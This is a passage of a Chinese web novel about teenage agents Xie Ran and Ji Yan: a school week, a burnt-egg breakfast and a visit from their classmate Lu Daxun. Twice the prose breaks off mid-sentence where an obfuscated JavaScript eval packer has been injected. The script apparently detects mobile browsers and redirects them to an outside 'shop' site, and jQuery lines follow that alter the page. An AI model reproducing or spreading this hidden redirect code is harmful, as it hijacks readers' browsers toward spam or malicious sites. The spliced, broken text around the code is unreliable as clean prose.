教室里的人声像被一只手按住了。聊天的闭嘴了,吃早餐的把包子塞进桌肚,补觉的猛地抬起头,脸上印着校服袖口的褶子印。椅子腿刮过地面的声音此起彼伏,然后逐渐安静下来。
英语老师推门进来。姓姜,四十多岁,戴一副金边眼镜,说话的时候尾音会上扬,像每句话的末尾都挂着一个倒问号。她在讲台上摊开课本和教案,环顾了一圈教室。
“课代表,作业收齐了?”
“收了。”玲娜站起来,把那摞卷子放到讲台边上,“缺一份。”
“谁的?”
“谢燃的。”
姜老师的目光移过来。谢燃举起右手,手指并拢,像一个不太标准的敬礼。“明天交。”
“什么原因?”
“脚疼。”
姜老师看了看他搁在课桌下的右脚,肿起来的脚踝把校服裤腿撑得有点紧。她没有追问,只是点了点头。“明天放学前。玲娜你记一下。”
玲娜在便签本上写了一笔,撕下来贴在自己的课桌角上。贴的时候故意把有字的一面朝外,让谢燃能看见。
谢燃看见了。他笑了一下,不是那种被冒犯的冷笑,是真的觉得有意思。玲娜这个人,傲慢归傲慢,但做事一板一眼,从不含糊。她在国外长大,说话直来直去,不绕弯子,和她拌嘴像打乒乓球——你来我往,球速很快,但没人真的想赢。
姜老师开始讲课。今天讲的是虚拟语气的进阶用法,黑板上写满了if引导的条件句。她的板书很工整,粉笔和黑板接触的声音有节奏地响着,嗒,嗒嗒,嗒。
谢燃靠在椅背上,右脚的疼痛变成一种钝钝的背景噪音。不是尖锐的疼,是闷的,像有人用一块湿毛巾裹住了他的脚踝,然后隔着毛巾缓慢地拧。他听着姜老师讲虚拟语气,听着粉笔的声音,听着教室里三十几个人同步翻书的声音。
然后他看向窗外。
教室在教学楼的三层。窗外有一棵榕树,很老了,树干粗得两个成年人合抱不住。气根从枝干上垂下来,密密麻麻的,像一挂被冻住的雨。树冠很大,遮住了半个窗户,阳光从叶片的缝隙里漏进来,在课桌上投下细碎的光斑,风一吹就晃。
夏天已经接近尾声了。榕树的叶子还是绿的,但不是盛夏那种浓得发黑的绿,是浅了一点、薄了一点的绿,像颜料用到最后掺了一滴水的颜色。有几片叶子的边缘开始泛黄,很淡,要仔细看才能发现。知了还在叫,但叫声稀了,不像七月时那样不要命地嘶喊,隔很久才响一声,响完了就沉默,像是在等什么。
谢燃看着那棵榕树,榕树也看着他。
和风市的夏天很长,长到让人忘记秋天是什么样子。九月都过了一半了,空气还是湿热的,校服贴在背上,汗把布料洇出一小块深色的印记。教室天花板上的吊扇开到最大档,扇叶嗡嗡地转,把热风从这边搅到那边,聊胜于无。
但早上和傍晚已经开始凉了。不是冷,是凉——那种从地底渗上来的凉意,藏在风里,躲在阴影里。早上六点起床的时候,光脚踩在地板上会觉得凉,昨天还没有这种感觉。傍晚放学的时候,阳光的颜色从正午的白变成了午后偏黄的暖,把人的影子拉得很长。
谢燃知道,夏天要走了。
不是突然走的。是一点一点撤退的,像海水退潮。先是最热的那几天不见了,然后是蝉鸣变少,然后是傍晚的风里多了一丝说不清道不明的凉。等哪天早上醒来,发现窗外那棵榕树的叶子黄了一半,才意识到秋天已经来了很久了。
他收回目光。黑板上又多了几行板书,姜老师正在分析一个长难句,粉笔点在if这个词上,说这个if引导的不是真实条件句,是虚拟的,和事实相反的。
假设与事实相反。
谢燃低头看了看自己的右脚。脚踝处的肿胀在裤腿下面,看不出来,但能感觉到。每一次心跳,脚踝就跟着跳一下,像一个小小的、藏在骨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536123|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头之间的心脏。
纪砚的笔在课本边缘又点了一个点。他一直在听课,偶尔在书上写几笔,字很工整,和谢燃的蚯蚓体形成鲜明对比。他的坐姿从上课到现在没有变过——背挺直,但不僵硬,左手搭在桌上,右手握笔,肩膀放松。
谢燃有时候觉得纪砚上课的样子像一棵树。不是窗外那种枝繁叶茂的榕树,是另一种树——竹子的那种。安静,笔直,风来了动一下,风走了就恢复原状。没有多余的动作,没有多余的声音,但你知道他在那里。
姜老师讲完了虚拟语气,让大家做课后练习。教室里重新热闹起来,有人翻书,有人借橡皮,有人小声问第三题选什么。粉笔灰在从窗户照进来的阳光里飘着,亮晶晶的,像一群很小的虫子。
谢燃从桌肚里掏出那张皱巴巴的卷子,展平在桌上。完形填空第三题,他选的C。玲娜说他的逻辑链条断了,推理过程是跳的。
他咬着笔帽,把题干又看了一遍。If I _____ you, I would accept the offer. 空格里要填were,不是was。虚拟语气里,be动词全部用were,不管主语是第几人称。他知道这个规则,但他做题的时候不是靠规则推的,是靠读起来的顺溜程度。If I were you,读起来顺。If I was you,读起来卡。
逻辑链条确实断了。断在“语感”和“语法规则”之间。
他把C改成B,又改回C。最后把卷子折起来,决定明天再说。
这一周就这么过去了。
周二的体育课,谢燃因为脚伤坐在跑道边上看着别人跑圈。玲娜跑完八百米,弯着腰在他旁边喘气,汗水把额前的碎发粘在皮肤上。她喘匀了之后看了他一眼。
“脚还疼?”
“疼。”
“交作业。”
“知道。”
周三的语文课,老师让分组讨论课文。谢燃和纪砚一组,陆大寻不知道什么时候蹭了过来,搬着椅子反着坐,手臂搭在椅背上。他话很多,从课文里的“白露横江”扯到秋天的节气,从节气扯到自己小时候养过的一只仓鼠。谢燃被他带跑了,两个人开始争论仓鼠能不能认出主人。纪砚在旁边翻书,偶尔抬眼看一下他们,什么都不说。讨论结束的时候老师让每组派代表发言,陆大寻把谢燃推了起来。
“你起的头,你讲。”
“你扯的仓鼠,你讲。”
最后纪砚站起来,用三句话把课文主旨概括完了。
周四的晚自习,教室里的日光灯嗡嗡响着,把每个人的脸照得发白。谢燃趴在桌上补白天没写完的英语卷子,写到第三题的时候笔尖顿了一下,然后在空格里填了C。纪砚在旁边做数学题,草稿纸上的演算步骤排列得像印刷品。窗外彻底黑了,榕树的轮廓融进夜色里,只剩下一团更深的阴影。蝉鸣已经完全消失了,取而代之的是蟋蟀的叫声,细而绵长,从草丛里升起来,像大地在呼吸。
周五放学的时候,谢燃终于把重写的英语卷子交给了玲娜。玲娜接过去展开,从头看到尾,又从尾看到头。第三题旁边用铅笔写了一行小字——“语感推的,逻辑链条确实断了,但答案是对的。”
玲娜看了他两秒,然后把卷子收进文件夹里。“字比上次好一点。”
“好多少?”
“从蚯蚓蘸墨水变成了蜘蛛蘸墨水。”
谢燃气笑了~
他走出教学楼的时候,纪砚在门口等他。夕阳把整个操场染成橘红色,跑道、单杠、沙坑,所有东西都被拉出长长的影子。那棵老榕树的叶子在晚风里翻动,发出干燥的沙沙声,有几片黄色的叶子从枝头落下来,打着旋,飘到地面上。
夏天真的要走了。
谢燃把书包带往肩上提了提,右脚踩在地上,比周一的时候稳了很多。肿胀消得差不多了,走路的时候只剩一点隐隐的酸,像关节里塞了一小块棉花。
“去买冰棍。”他说。
纪砚看了他一眼。“脚还没好。”
“脚疼跟吃冰棍有什么关系。”
“气血不通。”
谢燃愣了一下,然后笑出声来。那是纪砚在周一早上,玲娜说“脚疼跟手有什么关系”的时候没有说出口的话。他记了整整五天,挑了一个最合适的时机,把它扔了回来。
谢燃笑了好一会,笑到校门口小卖部的老板娘抬头看他们。
“行,不买冰棍。”他说,“买可乐。常温的。”
纪砚没有反对。
两个人并排走出校门。夕阳在他们身后,把影子投在前方的路面上,拉得很长,交叠在一起。和风四中的铁门在身后慢慢关上,门轴发出熟悉的、生了锈一样的嘎吱声。
平凡的一周结束了……
12. 糊了的鸡蛋和不请自来的客人
周日早晨的阳光从窗帘缝隙里挤进来,在谢燃的床上画了一条细细的金线。
他正做着一个美梦——梦里他一个人单挑二十个,火焰刀舞得像风火轮,打得对手满地找牙。纪砚站在旁边给他鼓掌,韩队破例批准他吃三个鸡腿,陆大寻在远处举着奶茶喊“谢哥牛逼”——然后一股焦糊味钻进鼻子,把整个梦烧了个干干净净。
谢燃的鼻子动了动。
糊味。不是那种淡淡的、可以忽略的糊,是那种浓烈的、霸道的、仿佛有人把厨房点了的糊。他的眼睛猛地睁开,瞳孔在阳光下缩成一条竖线,整个人从床上弹了起来。
“纪砚!!!”
没人回答。
他光着脚冲出卧室,穿过走廊,一头扎进厨房——然后整个人僵在了门口。
厨房里烟雾缭绕,像拍仙侠剧的现场。抽油烟机开到最大档,嗡嗡地震动着,但显然应付不了眼前的局面。灶台上的平底锅里,一团黑色的不明物体正冒着青烟,边缘还在发出细微的滋滋声。那东西曾经是鸡蛋——谢燃从那勉强还能辨认出的圆形轮廓做出的判断。
纪砚站在灶台前,手里拿着锅铲,姿势端正得像在拍广告。但他的表情——谢燃认识纪砚十几年,从没在他脸上见过这种表情。那是一种介于困惑和认命之间的微妙神情,像是一个解了一辈子数学题的人突然发现自己连一加一都算错了。
“你在干什么?”谢燃的声音很轻,轻得像暴风雨前的宁静。
“煎鸡蛋。”纪砚说。
“你管这叫煎鸡蛋?”
“严格来说,这是一个失败的煎鸡蛋。”
“失败的?”谢燃的尾巴开始炸毛,从根部一点一点蓬起来,像一朵正在盛开的花——但这朵花是红色的,而且充满了杀气,“你把厨房搞得像火灾现场,就为了一个失败的煎鸡蛋?!”
纪砚沉默了一秒,把锅铲放到一边,然后说了一句让谢燃彻底炸毛的话:“我想给你做个早餐。”
这句话像一根火柴,扔进了谢燃已经冒烟的尾巴上。
“你想给我做个早餐?”谢燃的声音拔高了八度,尾巴彻底炸开,每一根毛发都竖了起来,整条尾巴红得像一把燃烧的火炬,“你想给我做个早餐就把厨房烧了?那你想给我个惊喜是不是要把房子点了?!”
“谢燃——”
“你知不知道我昨天训练多累?一打七!一打七你知道吗!我浑身疼得翻个身都能听见骨头在唱歌!我就想睡个懒觉!睡到自然醒!结果你呢?你用糊鸡蛋的味道把我从美梦里拽出来!我的梦里还有鸡腿!三个鸡腿!我还没吃到嘴里!”
纪砚看着他,嘴角微微动了一下。
“你在笑?”谢燃的眼睛眯了起来。
“没有。”
“你嘴角在动!”
“那是肌肉抽搐。”
“纪砚我今天非要跟你打一架不可!”
狐尾在身后一甩,火焰从尾尖窜出,沿着毛发的纹路蔓延开来。谢燃的右手向前一探,火焰在掌心凝聚、拉伸、变形——一柄细长的单刀在火光中成型,刀身上附着着橙红色的火焰,把厨房的瓷砖映得通红。
纪砚看着他,没动。
“你要在厨房里打架?”纪砚问。
“哪里打架都一样!”
“锅碗瓢盆打碎了要从你工资里扣。”
“扣就扣!我们工资高!”
纪砚沉默了一秒。谢燃说得对,ASI虽然任务拨款少得可怜——每次出任务都要写五份申请表才能批下来一卷绷带——但特工的工资确实高。高到什么程度呢?高到谢燃每次发工资都会对着短信通知数两遍零,然后说一句“我值这个价”。
“那你的奶茶经费呢?”纪砚换了个角度。
“奶茶经费从工资里出!我有的是钱!”
纪砚看着谢燃手里那把火焰刀,又看了看灶台上那团还在冒烟的黑色不明物体,权衡了一下继续劝说的必要性和被刀砍的可能性,选择了沉默。
谢燃举着刀,火焰在刀锋上跳动,映得他的脸忽明忽暗。他瞪着纪砚,纪砚也看着他。两个人隔着灶台对峙,中间隔着一个冒着青烟的平底锅和一团黑糊糊的鸡蛋。
空气凝固了几秒。
“你先把火关了。”谢燃终于说了一句。
纪砚伸手把灶台的旋钮拧到关闭位置,那团黑色不明物体终于停止了滋滋作响。
“还有抽油烟机。”
纪砚把抽油烟机也关了。厨房里的烟雾慢慢散去,露出被熏得微微发黄的白色瓷砖和谢燃那张写满了“我真的很生气但我不确定要不要真的砍你”的脸。
“糊了的鸡蛋你吃。”谢燃的刀还举着。
“好。”
“你再给我煎一个。”
“好。”
“这次我盯着你煎。”
“好。”
“你除了好还会说别的吗?”
“可以。”
谢燃深吸一口气,火焰刀在手中融化,重新变回狐尾。他收回尾巴,双手抱胸,靠在厨房门框上,一脸“我盯着你,看你还能整出什么幺蛾子”的表情。
“行,你煎。我看着你煎。”
纪砚点了点头,把糊了的鸡蛋倒进垃圾桶。那个黑糊糊的东西从锅里滑出来的时候,发出一声沉闷的“噗”,像是某种不祥之兆。他把锅洗干净,放在灶台上,打开冰箱,重新拿出两个鸡蛋。
“油放了吗?”谢燃在旁边指挥。
“放了。”
“火太大了,调小一点。”
纪砚把火调小。
“等油热了再放蛋,你看油冒烟了没有?”
“冒了。”
“那放吧。”
纪砚把鸡蛋打进锅里,动作很轻,蛋壳没有碎,蛋黄完整地落在蛋白中间,在热油中慢慢凝固,边缘变成金黄色,像一朵正在绽放的花。
谢燃凑近了一点,尾巴在身后不自觉地晃了一下:“好像还行。”
纪砚没说话,专注地看着锅里的鸡蛋。他的眉头微微皱着,锅铲在手里握着,但不知道该什么时候翻面。
“翻啊。”谢燃说。
“现在翻?”
“再不翻就糊了。”
纪砚用锅铲伸到鸡蛋下面,小心翼翼地一翻——蛋黄破了。金黄色的蛋液从破裂的蛋黄中流出来,渗进蛋白里,在热油中迅速凝固,变成一团黄白相间的、形状不规则的固体。
纪砚沉默了。
谢燃也沉默了。
“……这叫还行?”纪砚看着锅里那团东西,语气平静得像在念天气预报。
谢燃张了张嘴,想说点什么,但话还没出口,门口突然传来一阵急促的门铃声。
叮咚叮咚叮咚——连着三声,急得像催命。
谢燃和纪砚对视了一眼。周日早上九点,谁会来敲门?韩征远昨晚说住在基地,不可能这么早回来。ASI的其他同事不知道他们的住处。难道是物业?还是邻居投诉厨房冒烟?
门铃又响了,这次更急,而且伴随着一个声音——“谢哥!纪哥!你们在家吗!我给你们带了早餐!”
陆大寻。
谢燃的尾巴瞬间从炸毛状态恢复到正常,他低头看了看自己——光着脚,穿着皱巴巴的睡衣,头发乱得像鸡窝。他又看了看纪砚——穿着黑色T恤和运动裤,头发比平时乱一点,但整体还算体面。最后他看了看厨房——烟雾还没散尽,灶台上摆着一个糊过鸡蛋的锅和一个蛋黄破了的煎蛋,空气里弥漫着焦糊味和油烟味。
“他怎么来了?”谢燃压低声音。
“你问他。”纪砚也压低声音。
“我没告诉他地址!”
“那他怎么找到的?”
谢燃还没来得及回答,门外的声音又响起来:“我看到你们的鞋了!在门口!你们肯定在家!开门嘛!我真的带了早餐!小笼包!还热着呢!”
小笼包三个字像一把钥匙,打开了谢燃胃里某个沉睡的开关。他的肚子咕噜叫了一声,在安静的厨房里格外清晰。
纪砚看了他一眼。
“……那是生理反应,我控制不了。”谢燃说。
纪砚没理他,走到玄关,打开门。
陆大寻站在门口,穿着一件印着哈士奇脑袋的卫衣,手里拎着两个塑料袋,一个里面装着小笼包,另一个里面装着豆浆。他的尾巴在身后甩得飞快,脸上挂着那种哈士奇特有的、介于聪明和智障之间的灿烂笑容。
“纪哥早上好!”他说完就往里探头,目光越过纪砚的肩膀,精准地锁定了站在厨房门口的谢燃,“谢哥早上好!你们是不是刚起?我是不是来早了?”
“你怎么知道我们住这儿?”纪砚问。声音不大,但语气里有那种不容回避的质感。
陆大寻眨了眨眼,笑容没变,但回答的速度快得像在背答案:“上周你们从学校回家的时候,我刚好坐公交车路过,看到你们进了这栋楼。然后我查了一下这附近的出租信息,发现这栋楼五楼只有两户出租,一户住的是个老太太,另一户就是你们。我猜的,没想到猜对了。”
纪砚看着他,没说话。
陆大寻被看得有点心虚,补了一句:“我真的只是路过看到的,不是跟踪。我发誓。”
谢燃从厨房门口走过来,从陆大寻手里接过装着小笼包的袋子,打开看了一眼——小笼包白白胖胖的,还冒着热气,褶皱均匀,一看就是正经包子铺出品,不是食堂那种皮厚馅少的冒牌货。
“进来吧。”谢燃说。
陆大寻欢呼一声,换了鞋就冲了进来,像一颗被发射进公寓的炮弹。他在客厅里转了一圈,目光扫过每一个角落——沙发上的毯子、茶几上的两个杯子(一个狼图案一个狐狸图案)、电视柜上堆着的零食、窗台上晾着的运动服。他的眼睛在那些东西上停留的时间不超过零点五秒,但谢燃知道,他已经把整个客厅的布局和所有物品的位置都记下来了。
“你们家好干净啊。”陆大寻说,“比我家干净多了。我妈老说我房间像猪窝,我说猪窝都比我的房间整齐。”
“那是纪砚收拾的。”谢燃已经把一个小笼包塞进了嘴里,含混地说,“我负责制造混乱,他负责收拾。”
陆大寻看了看纪砚,纪砚已经走回厨房了,正在处理那团失败的煎鸡蛋和那个破了蛋黄的煎蛋。他把两个都不太成功的鸡蛋盛到盘子里,放在一边,然后开始洗锅。
“纪哥在做饭?”陆大寻跟到厨房门口,探头看了一眼,然后鼻子动了动,“什么味道?糊了?”
“没有。”纪砚说。
“我闻到了,糊味,很浓。”陆大寻的鼻子又动了动,像一只正在追踪气味的小狗,“好像是鸡蛋的味道。”
“那是昨天的。”
“昨天的糊味能留到今天早上?”
“我们家的糊味比较持久。”
陆大寻歪头看着纪砚,浅色的瞳孔里写满了“你当我是三岁小孩吗”。但他没有追问,因为谢燃在客厅喊了一声“陆大寻你过来吃包子”,他的注意力立刻被转移了,屁颠屁颠地跑过去。
三个人坐在客厅里吃小笼包。陆大寻坐在茶几旁边的地毯上,盘着腿,尾巴搭在膝盖上,吃相一如既往地豪放——一个小笼包在醋碟里滚三圈,整个塞进嘴里,腮帮子鼓得像仓鼠,嚼的时候发出满足的哼哼声。
谢燃坐在沙发上,端着豆浆,吃相也好不到哪里去——小笼包的汁水从嘴角溢出来,他用袖子擦了一下,继续吃。纪砚坐在沙发的另一端,吃相最端正,小笼包咬一小口,蘸一点醋,再咬一小口,细嚼慢咽,像在吃米其林餐厅。
陆大寻吃到第三个的时候,忽然抬起头,目光落在谢燃的尾巴上。
“谢哥,你的尾巴怎么有点红?”
谢燃低头看了一眼自己的尾巴——确实比平时红了一点,但不算明显,不仔细看根本看不出来。他刚才炸毛的时候火焰从尾尖窜出来,虽然很快就收回了,但残留的温度让尾巴毛的颜色暂时变深了一些。
“光线问题。”谢燃说。
“不是光线,是真的比昨天红了。”陆大寻放下筷子,认真地盯着谢燃的尾巴看,那表情像在做科学实验,“而且你看,毛发的朝向也不对,有几撮是反的,像是被什么东西炸过。”
“炸过?”谢燃重复这个词,心想这小子的用词怎么这么精准。
“就是那种——静电?不对,比静电厉害,像是被火烧了一下但没烧着的那种感觉。”陆大寻伸手想去摸谢燃的尾巴,谢燃条件反射地把尾巴甩到另一边。
“别乱摸。”
“我就看看嘛。”
“不让看。”
“小气。”
陆大寻嘟囔了一句,重新拿起筷子,继续吃小笼包。但他的目光时不时地飘向谢燃的尾巴,像一只看到毛线团的猫,好奇心旺盛得压都压不住。
谢燃用尾巴把自己裹了一圈,彻底藏起来。
纪砚在旁边喝豆浆,表情淡得像什么都没发生。但谢燃注意到他的嘴角有一个很小的弧度——那种“看你被小孩折腾得手忙脚乱真有意思”的弧度。
谢燃用眼神传递了一个信息:你等着。
纪砚用眼神回复了一个信息:我等着。
陆大寻吃完第五个小笼包,终于满足了,往后一靠,双手撑在地毯上,仰头看着天花板,发出一声长长的叹息:“好饱——谢哥纪哥,你们今天有什么安排吗?”
“写作业。”纪砚说。
“又写作业?昨天不是写了吗?”
“昨天的是昨天的,今天是今天的。”
陆大寻瘪了瘪嘴,转头看谢燃:“谢哥,你也要写作业吗?”
谢燃刚想说“不写”,被纪砚看了一眼,话到嘴边拐了个弯:“写。我爱学习,学习使我快乐。”
陆大寻看着他的表情,沉默了两秒,然后说:“谢哥你说这话的时候,表情跟便秘一样。”
“……”
纪砚低下头,假装在喝豆浆,但谢燃看到他的肩膀在微微颤抖。
谢燃手一紧,空豆浆杯在掌心被一团火焰吞没,瞬间化为灰烬。他猛地站起来,狐尾甩出,火焰刀在手中成型,刀尖直指纪砚:“纪砚!你再笑一个试试!”
纪砚抬起头,面无表情,但嘴角的弧度还没来得及收。
“你——!”谢燃的刀锋上火焰暴涨。
“谢哥谢哥!”陆大寻赶紧拉住谢燃的衣角,“别别别,纪哥不是故意的!”
“你脾气本来就很好啊,比纪哥好多了。”陆大寻眨眨眼,表情无辜得像天使,“纪哥板着脸的时候我不敢说话,你板着脸的时候我觉得你在开玩笑。”
谢燃张了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536124|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张嘴,发现自己竟然无法反驳。
因为陆大寻说的是事实。
纪砚放下豆浆杯,站起来,把茶几上的小笼包盒子收拾好,塑料袋叠成一个整齐的小方块,扔进垃圾桶。他的动作一如既往地有条不紊,像是在执行一个精心设计的程序。
陆大寻看着纪砚收拾东西,忽然说了一句:“纪哥,你是不是有强迫症?”
“没有。”
“那你为什么叠塑料袋?”
“因为叠了比较好扔。”
“可是你叠得也太整齐了吧,跟叠衣服似的。”
纪砚没有回答这个问题。他把茶几擦干净,把两个杯子(狼和狐狸)拿到厨房去洗。水龙头的声音哗哗地响着,厨房的灯光把他的影子投在客厅的地板上,瘦长而笔直。
陆大寻凑到谢燃旁边,压低声音:“纪哥是不是生气了?我刚才说他强迫症。”
“他没生气。”谢燃也压低声音,把火焰刀收了回去,尾巴恢复正常,“他本来就是那个样子。”
“那他为什么每次都不正面回答我的问题?”
“因为他觉得你的问题不需要回答。”
陆大寻想了想,好像没太听懂,但他没有再问。他从口袋里掏出手机,开始刷短视频,刷到一个猫从柜子上跳下来的视频,笑出了声,把手机递给谢燃看:“谢哥你看这只猫,像不像年绪姐?”
谢燃看了一眼——一只白猫从柜子上跳下来,落地的时候没站稳,滑了一下,但立刻装作什么都没发生,淡定地舔爪子。
“不像。”谢燃说,“年绪不会滑倒。年绪连走路都不会出错。”
“年绪姐那么厉害的吗?”
“她是我们那最靠谱的人之一。”
“你们那儿?”陆大寻敏锐地捕捉到了这个词。
谢燃意识到自己说漏了嘴,但表情没有任何变化:“我们那儿,就是我们以前住的地方。”
“哦。”陆大寻点了点头,没有追问,但谢燃不确定他是真的没注意到,还是假装没注意到。
纪砚洗好杯子从厨房出来,看到两个人凑在一起看手机,眉头微微皱了一下:“作业写了?”
“还没。”谢燃说。
“现在写。”
“周日呢,急什么。”
“周日写完了,周一就不用写了。”
“周一有周一的作业。”
“所以周日写完周日的,周一写周一的,不冲突。”
谢燃叹了口气,那口气叹得又长又夸张,仿佛纪砚让他写的不是作业,而是什么苦役。他慢吞吞地从沙发上站起来,慢吞吞地走到卧室,慢吞吞地拿出书包,慢吞吞地走回客厅,把书包往茶几上一放,整个人又陷回沙发里。
“拿都拿出来了,写啊。”纪砚说。
“我在酝酿。”
“写作业需要酝酿什么?”
“写作的情绪。”
陆大寻在旁边听得笑出了声,笑得在地毯上打滚,尾巴甩来甩去,差点把茶几上的豆浆杯扫到地上。谢燃用脚拦住他的尾巴,陆大寻抓住谢燃的脚踝不撒手,两个人在地毯上扭成一团,像两只打架的小动物。
纪砚站在旁边,看着这一幕,沉默了三秒。
然后他从谢燃的书包里拿出数学练习册,翻到昨天没做完的那一页,放在茶几上,又把笔放在练习册旁边。他什么都没说,但那个动作本身就是一种无声的命令。
谢燃从地上爬起来,坐回沙发,拿起笔。
陆大寻也爬起来,盘腿坐在地毯上,双手托着下巴,看着谢燃写作业。他的眼睛一眨一眨的,目光在练习册和谢燃的脸之间来回移动,像一只正在观察实验对象的小动物。
“你看什么?”谢燃头都没抬。
“看你写作业。”
“写作业有什么好看的?”
“好看啊,你皱眉的样子好好笑。”
谢燃抬起头,瞪着陆大寻。陆大寻冲他咧嘴笑了,露出一口白牙,尾巴在身后摇得像螺旋桨。
谢燃想骂他两句,但不知道为什么,话到嘴边变成了一个没忍住的笑。他笑着摇了摇头,低下头继续写作业。
纪砚坐在沙发的另一端,拿起那本《犯罪心理学》,翻到上次看到的地方。他没有看书,目光落在谢燃和陆大寻身上,在两人之间来回扫了一下,然后低下头,嘴角有一个几乎看不见的弧度。
窗外的阳光越来越亮,榕树的影子在窗帘上摇晃。公寓里很安静,只有笔尖在纸上划过的沙沙声和偶尔翻书的声音。陆大寻不知道什么时候从口袋里掏出了一包糖,剥了一颗塞进嘴里,又把糖纸叠成一个纸鹤,放在茶几上。
谢燃写完一道题,抬起头看了一眼那只纸鹤。
“你还会叠这个?”
“会啊,我还会叠青蛙、千纸鹤、玫瑰花。”陆大寻又剥了一颗糖,“我妈教我的,她说男孩子手要巧,以后好找对象。”
“那你找到了吗?”
“没有。我妈说我手还不够巧。”
谢燃笑了一下,低下头继续写。
陆大寻把第二颗糖的糖纸也叠成了纸鹤,和第一只并排放在茶几上。两只纸鹤一大一小,歪歪扭扭的,但能看出来是用了心的。
“谢哥。”
“嗯。”
“你说,如果有一天我突然不见了,你们会找我吗?”
谢燃的笔停了。
纪砚翻书的手也停了。
客厅里的空气仿佛凝固了一瞬。阳光还在照,榕树的影子还在晃,但有什么东西在这句话落地的瞬间变了。
谢燃抬起头,看着陆大寻。
陆大寻还在地毯上坐着,手里拿着第三颗糖,表情很平静,浅色的瞳孔里映着窗外的光。他的嘴角甚至还挂着一丝笑意,但那笑意没有到达眼底。
“你为什么会不见?”谢燃问,声音比平时轻了一些。
“随便问问。”陆大寻把糖塞进嘴里,嚼了两下,“看了太多失踪案的资料,有点胡思乱想。”
“你不会不见的。”纪砚的声音从旁边传来,不大,但很稳,“我们在这。”
陆大寻转过头,看着纪砚。纪砚没有看他,目光落在那本《犯罪心理学》的书页上,但书页很久没有翻过了。
陆大寻看了他两秒,然后笑了,这次笑意到了眼底。
“知道了,纪哥。”他说,声音有点闷,像是鼻子里塞了什么东西。
他低下头,继续剥糖,糖纸在手指间翻转,折角、压平、翻折,一只新的纸鹤在他手中成形。他把第三只纸鹤放在前两只旁边,三只排成一排,歪歪扭扭的,像一家三口。
谢燃看着那三只纸鹤,心里有什么东西被轻轻地拨动了一下。
他拿起笔,继续写作业。
窗外的榕树叶子沙沙作响,阳光从叶缝里漏进来,在茶几上投下细碎的光斑。纸鹤的翅膀在微风中轻轻颤动,像是在准备飞。
但它们没有飞走。
它们只是安静地站在那里,在这个周日的早晨,在一间不大的公寓里,在一张堆满了作业本和糖纸的茶几上,等着一个不知道什么时候会到来的明天。
厨房的灶台上,那团黑糊糊的鸡蛋和那个破了蛋黄的煎蛋还静静地躺在盘子里。
没有人去吃它们。
大概也不会有人去吃了。
13. 周一的暗流
周日晚上,陆大寻走的时候,外面的天已经黑透了。
他站在门口换鞋,一只脚踩在鞋跟上,另一只脚在地上蹦了两下,差点没站稳,扶住门框才稳住身形。他的书包塞得鼓鼓囊囊的——里面多了三只纸鹤、半袋谢燃没吃完的薯片和一本纪砚借给他的《犯罪心理学》。
“书别弄丢了。”纪砚靠在玄关的墙上,双手插兜。
“不会的不会的,我保护得可好了。”陆大寻把书包抱在怀里,像抱着一只猫,“纪哥你放心,我看完就还你,一页都不折角。”
“折了也没关系。”
“那不行,你的书都跟新的一样,我要是折了角我心里过不去。”
纪砚没再说什么。
陆大寻穿好鞋,站起来,看了看纪砚,又看了看坐在沙发上的谢燃。谢燃正拿着手机看什么东西,头都没抬,但尾巴在沙发上慢悠悠地晃了一下——那是他“知道了,你走吧,路上小心”的信号,陆大寻虽然不懂狐尾的语言,但莫名地读懂了。
“谢哥,纪哥,我走了啊。明天学校见。”
“嗯。”谢燃头都没抬。
“路上小心。”纪砚说。
陆大寻咧嘴笑了,推开门走了出去。走廊里的声控灯亮了,脚步声渐渐远去,在楼梯间里回荡了几下,然后消失了。
谢燃放下手机,看着关上的门,沉默了几秒。
“他一个人回去安全吗?”他问。
“公交车十五分钟,走路五分钟,全程主干道,有监控。”纪砚说,“而且他智商一百四十八,不会出事。”
“智商一百四十八跟会不会出事没有关系。”
纪砚看了他一眼,没接话。
谢燃从沙发上站起来,走到窗边,拉开窗帘。楼下的小区路灯亮着,陆大寻的身影从单元门里走出来,书包在身后一甩一甩的,步子很大,走得很快。他走到公交站台,站定,拿出手机看了一眼,又放回口袋。大约等了三四分钟,公交车来了,他上了车,车门关上,公交车驶出站台,尾灯在夜色中渐渐变成两个小红点。
谢燃看着那两个小红点消失在街角,才把窗帘拉上。
“你在担心他。”纪砚说。不是疑问句,是陈述句。
“没有。”
“你每次担心人的时候都会站到窗边看。”
“我那是看风景。”
“晚上八点,看什么风景?”
谢燃转过身,靠着窗台,双手抱胸,看着纪砚。纪砚已经坐回沙发了,拿起那本《犯罪心理学》的替代品——他从书架上抽了另一本书,是谢燃买的推理小说,封面皱皱巴巴的,显然被翻过很多遍。
“你觉得陆大寻今天来,真的只是送早餐?”谢燃问。
纪砚翻了一页书,没抬头:“不全是。”
“那是为什么?”
“他想确认一件事。”
“什么事?”
纪砚放下书,看着谢燃。客厅的灯光把他的脸照得很清晰,那双黑眼睛里没有什么情绪,但谢燃看得出他在组织语言——纪砚每次要说什么重要的事情之前,都会先沉默两到三秒。
“他在确认我们是不是真的会保护他。”纪砚说。
谢燃愣了一下。
“他今天问的那个问题——‘如果有一天我突然不见了,你们会找我吗’——不是随便问问。”纪砚的声音不大,但每个字都很清楚,“他在试探。他在看我们的反应。他在确定,如果他真的出了事,有没有人会去找他。”
客厅里安静了几秒。
